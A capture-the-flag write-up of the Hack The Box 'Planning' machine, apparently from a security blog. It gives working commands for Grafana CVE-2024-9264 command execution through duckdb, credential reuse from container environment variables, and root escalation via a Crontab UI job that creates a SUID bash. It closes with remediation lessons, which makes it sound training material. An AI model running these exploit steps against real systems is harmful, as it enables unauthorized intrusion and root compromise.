root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat planning.md
// writeups

Planning

10 May 2025 · 5 min read
Planning - maquina de Hack The Box

Executive summary — Planning is an Easy Linux box that, like some real engagements, starts with credentials provided to you: an admin login for Grafana 11.0.0, found on a virtual host. That version is vulnerable to CVE-2024-9264, where the experimental SQL Expressions feature passes user queries to duckdb, which can read files and run commands. The shell lands inside a Docker container, but its environment variables hold an admin password that is reused for SSH on the host. Locally, a world-readable crontab.db reveals the password of Crontab UI, a web scheduler running as root, which is used to create and run a job.

PlatformHack The Box
OSLinux (Ubuntu 24.04)
DifficultyEasy
StatusRetired
Services22 (OpenSSH 9.6p1), 80 (nginx 1.24.0), vhosts planning.htb and grafana.planning.htb
TechniquesVirtual host discovery, Grafana CVE-2024-9264 (duckdb RCE), container environment secrets, password reuse, Crontab UI abuse

Attack map

[80/HTTP] planning.htb (static PHP template, no vector)
        |  vhost fuzzing -> grafana.planning.htb
        v
Grafana 11.0.0 + provided admin credentials
        |  CVE-2024-9264: SQL Expressions -> duckdb (read_blob, shellfs)
        v
RCE as root INSIDE a Docker container
        |  environment: GF_SECURITY_ADMIN_USER / _PASSWORD
        v
[22/SSH] same password reused by enzo on the host -> user
        |  /opt/crontabs/crontab.db is world-readable -> root password
        v
Crontab UI on 127.0.0.1:8000 (runs as root): new job + /runjob
        v
SUID bash -> ROOT

1. Reconnaissance

sudo nmap -p- --min-rate 3000 -T4 <TARGET_IP>
22/tcp  OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu 24.04)
80/tcp  nginx 1.24.0 (Ubuntu)  -> redirects to http://planning.htb/
<TARGET_IP> planning.htb grafana.planning.htb   # /etc/hosts

planning.htb is a PHP template (Edukate – Online Education Website) with no direct attack vector, so the next move is to look for other virtual hosts. Every non-existent subdomain answers 301 with the same size (178 bytes), so a response that differs reveals a real one:

for s in grafana dev admin portal ...; do
  curl -s -o /dev/null -w "$s %{http_code} %{size_download}\n" -H "Host: $s.planning.htb" http://<TARGET_IP>/
done
# grafana.planning.htb -> 302 (different)
curl -s http://grafana.planning.htb/api/health
# {"database":"ok","version":"11.0.0"}

Grafana 11.0.0, a version vulnerable to CVE-2024-9264.

2. Foothold: Grafana CVE-2024-9264

The machine provides initial credentials, admin : 0D5oT70Fq13EvB5r, which log in to Grafana as a Grafana administrator:

curl -s -c cookies -H "Host: grafana.planning.htb" -H "Content-Type: application/json" \
  -X POST http://grafana.planning.htb/login -d '{"user":"admin","password":"0D5oT70Fq13EvB5r"}'
# {"message":"Logged in"}   -> /api/user: isGrafanaAdmin:true

The vulnerability. Grafana's experimental SQL Expressions feature evaluates duckdb queries through POST /api/ds/query?ds_type=__expr__&expression=true. duckdb can read arbitrary files (read_blob) and, once the community extension shellfs is installed, run commands. The core of the exploit is a single request:

data = {"from": "...", "to": "...", "queries": [{
    "datasource": {"name": "Expression", "type": "__expr__", "uid": "__expr__"},
    "expression": QUERY, "refId": "B", "type": "sql"}]}
requests.post(".../api/ds/query?ds_type=__expr__&expression=true", json=data)
  • File read: SELECT content FROM read_blob('/etc/passwd')
  • Command execution: SELECT 1; install shellfs from community; LOAD shellfs; SELECT * FROM read_csv('<cmd> >/tmp/g_out 2>&1 |'), then read /tmp/g_out with read_blob.
python3 scripts/graf_rce.py id
# uid=0(root) gid=0(root)
python3 scripts/graf_rce.py 'hostname; uname -a'
# 7ce659d667d7 ...

Root, but of the wrong machine. uid=0 and a hostname that looks like a container ID (7ce659d667d7) show this is root inside a Docker container, not on the host. The next step is to look for what the container knows about the host.

2.1 Pivot to the host through reused credentials

python3 scripts/graf_rce.py env | grep -i pass
# GF_SECURITY_ADMIN_USER=enzo
# GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!

Grafana is configured through environment variables, and its admin account, enzo, is also a user on the host with the same password:

ssh enzo@<TARGET_IP>     # password: RioTecRANDEntANT!
uid=1000(enzo) ...   hostname: planning     # the real host

3. Privilege escalation: Crontab UI

sudo -l       # enzo may not run sudo
ss -tlnp
127.0.0.1: 3306, 33060 (mysql), 3000 (grafana), 8000 (?), 45981

Port 8000, local only, is not Grafana or MySQL. Looking for scheduled-job configuration turns up /opt/crontabs/crontab.db, which is world-readable:

{"name":"Grafana backup","command":"... zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip ...","schedule":"@daily",...}
{"name":"Cleanup","command":"/root/scripts/cleanup.sh","schedule":"* * * * *",...}

The backup job embeds a zip password, P4ssw0rdS0pRi0T3c. The service on :8000 is Crontab UI (Express, Basic Auth), running as root, and the same string works as its password:

curl -s -o /dev/null -w '%{http_code}' -u root:P4ssw0rdS0pRi0T3c http://127.0.0.1:8000/   # 200

The application's routes (/usr/lib/node_modules/crontab-ui/routes.js) are /save to create or edit jobs and /runjob to run one immediately. A new job needs _id=-1; with an empty _id the request goes down the update path and creates nothing. The job copies bash and sets the SUID bit, and is run at once:

# 1) create the job (note _id=-1)
curl -s -u root:P4ssw0rdS0pRi0T3c -X POST http://127.0.0.1:8000/save \
  --data-urlencode 'name=pwn' \
  --data-urlencode 'command=cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash' \
  --data-urlencode 'schedule=* * * * *' --data-urlencode 'logging=false' --data-urlencode '_id=-1'
# 2) get its _id and run it now, as root
ID=$(grep -o '"name":"pwn".*' /opt/crontabs/crontab.db | grep -o '"_id":"[^"]*"' | tail -1 | cut -d'"' -f4)
curl -s -u root:P4ssw0rdS0pRi0T3c -X POST http://127.0.0.1:8000/runjob --data-urlencode "_id=$ID"
ls -la /tmp/rootbash         # -rwsr-xr-x root root
/tmp/rootbash -p -c 'id'     # euid=0(root)

-p preserves the SUID effective UID, which gives root and access to /root/root.txt.

Credential summary

WhereCredentialSource
Grafana (provided)admin : 0D5oT70Fq13EvB5rGiven at the start of the machine
Container env → SSH on the hostenzo : RioTecRANDEntANT!GF_SECURITY_ADMIN_* via RCE
Crontab UI :8000 (root)root : P4ssw0rdS0pRi0T3cWorld-readable crontab.db

Vulnerability summary

PhaseComponentVulnerabilityImpact
Reconnginx vhostsInternal Grafana reachable on a guessable subdomain (CWE-200)Grafana 11.0.0 exposed
FootholdGrafana 11.0.0CVE-2024-9264: SQL Expressions → duckdb file read and command execution (CWE-94)Root in the container
FootholdContainer environmentAdmin password in env vars, reused for host SSH (CWE-798)SSH as enzo
Root/opt/crontabs/crontab.dbWorld-readable file with clear-text credentials (CWE-732)Crontab UI password
RootCrontab UIPrivileged service controllable via its web API (CWE-250 / CWE-269)Commands as root

Lessons

  • Root in a container is not root on the host, but it is a reading room. Environment variables are where containers keep their secrets; pass them through a secrets manager and never reuse them for host accounts.
  • Patch Grafana and disable what you don't use. Upgrade to ≥ 11.2.1 for CVE-2024-9264, turn off SQL Expressions / the duckdb sandbox, and don't run Grafana as root.
  • Permissions on configuration files matter. crontab.db should be 600 root:root; a readable file that stores a password for a root-level scheduler is a direct path to root.
  • "Localhost only" is not authentication. A privileged web UI on loopback is reachable from any local foothold, so it needs strong, unique credentials and should not run as root.

Note on the flags

As is standard on this site, the specific values of user.txt and root.txt aren't part of the documented method and are left out; the full process is described regardless.